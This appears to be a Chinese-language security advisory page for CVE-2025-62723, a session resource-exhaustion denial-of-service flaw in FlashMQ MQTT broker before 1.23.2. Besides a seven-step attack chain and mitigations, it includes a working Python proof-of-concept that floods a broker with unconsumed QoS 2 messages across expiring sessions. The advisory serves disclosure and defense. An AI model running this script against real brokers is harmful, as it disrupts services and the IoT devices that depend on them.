IPBUF安全漏洞报告
English
CVE-2025-62723 CVSS 4.3 中危

FlashMQ MQTT broker会话资源耗尽漏洞 (CVE-2025-62723)

披露日期: 2025-10-24

漏洞信息

漏洞编号
CVE-2025-62723
漏洞类型
资源耗尽
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FlashMQ MQTT broker

相关标签

资源耗尽会话管理缺陷MQTTFlashMQ拒绝服务QoS消息泄漏CVE-2025-62723

漏洞概述

FlashMQ是一款专为多CPU环境设计的MQTT代理/服务器。漏洞存在于1.23.2之前的所有版本,源于会话管理机制存在缺陷。任何经过身份验证的用户都可以创建任意数量的会话,这些会话会收集QoS(服务质量)消息。当消息未被发送到客户端时,即使会话最终过期,这些消息也不会被释放。随着时间推移,积累的消息会持续占用服务器内存和存储资源,最终导致资源耗尽,使得服务器无法处理新的连接和消息传递。该漏洞利用门槛较低,攻击者只需拥有普通用户权限即可发起攻击,无需特殊权限或用户交互。攻击成功可能导致MQTT服务可用性下降,影响依赖该broker的所有IoT设备和应用系统的正常通信。

技术细节

漏洞根源在于FlashMQ的QoS消息生命周期管理与会话生命周期管理之间存在不同步问题。当客户端连接并创建会话时,broker会为该会话分配资源用于存储待投递的QoS消息。正常情况下,消息应被投递到订阅客户端或由客户端明确删除。但当会话过期时,如果消息尚未投递,系统未能正确释放这些消息占用的资源。攻击者利用此缺陷可执行以下操作:1) 使用有效凭证连接MQTT broker;2) 创建多个会话并为每个会话设置较长的会话过期时间;3) 向这些会话的保留主题或特定主题发送QoS 1或QoS 2消息;4) 不消费这些消息,任由会话过期。由于消息引用计数未正确清理,即使会话已过期,消息仍保留在内存中。重复此过程可耗尽服务器资源,导致拒绝服务。CVSS向量显示攻击复杂度低(AC:L),所需权限为低权限(PR:L),可用性影响为低(A:L)。

攻击链分析

STEP 1
步骤1
攻击者获取MQTT broker的有效用户凭证(低权限账户即可)
STEP 2
步骤2
攻击者使用MQTT客户端连接到FlashMQ broker,建立多个会话连接
STEP 3
步骤3
为每个会话设置较长的会话过期时间(clean session=false),确保会话在断开后仍保留在服务器端
STEP 4
步骤4
向这些会话的订阅主题或保留主题发送QoS 1或QoS 2级别的消息,这些消息会被broker存储等待投递
STEP 5
步骤5
攻击者断开连接但不消费这些消息,任由会话过期。由于1.23.2之前版本未正确释放消息资源,消息会持续占用内存
STEP 6
步骤6
重复步骤2-5多次,每次创建新会话和消息,逐渐耗尽服务器内存和存储资源
STEP 7
步骤7
服务器资源耗尽后,无法处理新的连接请求,导致MQTT服务拒绝服务(DoS)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import paho.mqtt.client as mqtt import time # CVE-2025-62723 PoC - FlashMQ Session Resource Exhaustion # Affected: FlashMQ < 1.23.2 BROKER_HOST = "target_server" BROKER_PORT = 1883 USERNAME = "attacker_user" PASSWORD = "attacker_pass" NUM_SESSIONS = 100 def on_connect(client, userdata, flags, rc, properties=None): if rc == 0: print(f"[+] Connected to MQTT broker with session: {client._client_id.decode()}") # Subscribe to create retained messages client.subscribe("test/topic", qos=2) # Publish QoS 2 messages that won't be consumed for i in range(10): client.publish(f"test/topic/{i}", payload=f"msg_{i}", qos=2) print(f"[+] Published 10 QoS2 messages") else: print(f"[-] Connection failed with code: {rc}") def create_exploit_session(session_id): """Create a new session that will leak messages on expiration""" client = mqtt.Client(client_id=f"exploit_session_{session_id}") client.username_pw_set(USERNAME, PASSWORD) client.on_connect = on_connect try: client.connect(BROKER_HOST, BROKER_PORT, keepalive=60) client.loop_start() time.sleep(2) client.loop_stop() client.disconnect() except Exception as e: print(f"[-] Session {session_id} failed: {e}") def main(): print("[*] CVE-2025-62723 FlashMQ Resource Exhaustion PoC") print(f"[*] Target: {BROKER_HOST}:{BROKER_PORT}") print(f"[*] Creating {NUM_SESSIONS} exploit sessions...") for i in range(NUM_SESSIONS): create_exploit_session(i) time.sleep(0.5) if i % 10 == 0: print(f"[*] Progress: {i}/{NUM_SESSIONS}") print("[*] Attack complete. Sessions expired but messages not released.") print("[*] Monitor broker memory usage to confirm resource exhaustion.") if __name__ == "__main__": main()

影响范围

FlashMQ < 1.23.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制每个用户的最大会话数和订阅数;2) 启用MQTT broker的消息存储配额限制;3) 监控异常的资源使用模式并设置自动化告警;4) 考虑在broker前端部署负载均衡器,对单个IP的连接请求进行限流;5) 定期重启broker服务以清理积累的未释放资源(仅作为临时措施)。最根本的解决方案仍是升级到1.23.2版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表